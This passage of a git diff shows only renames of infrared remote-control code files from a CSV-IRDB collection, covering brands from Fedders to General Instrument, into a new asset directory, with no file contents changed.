a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir 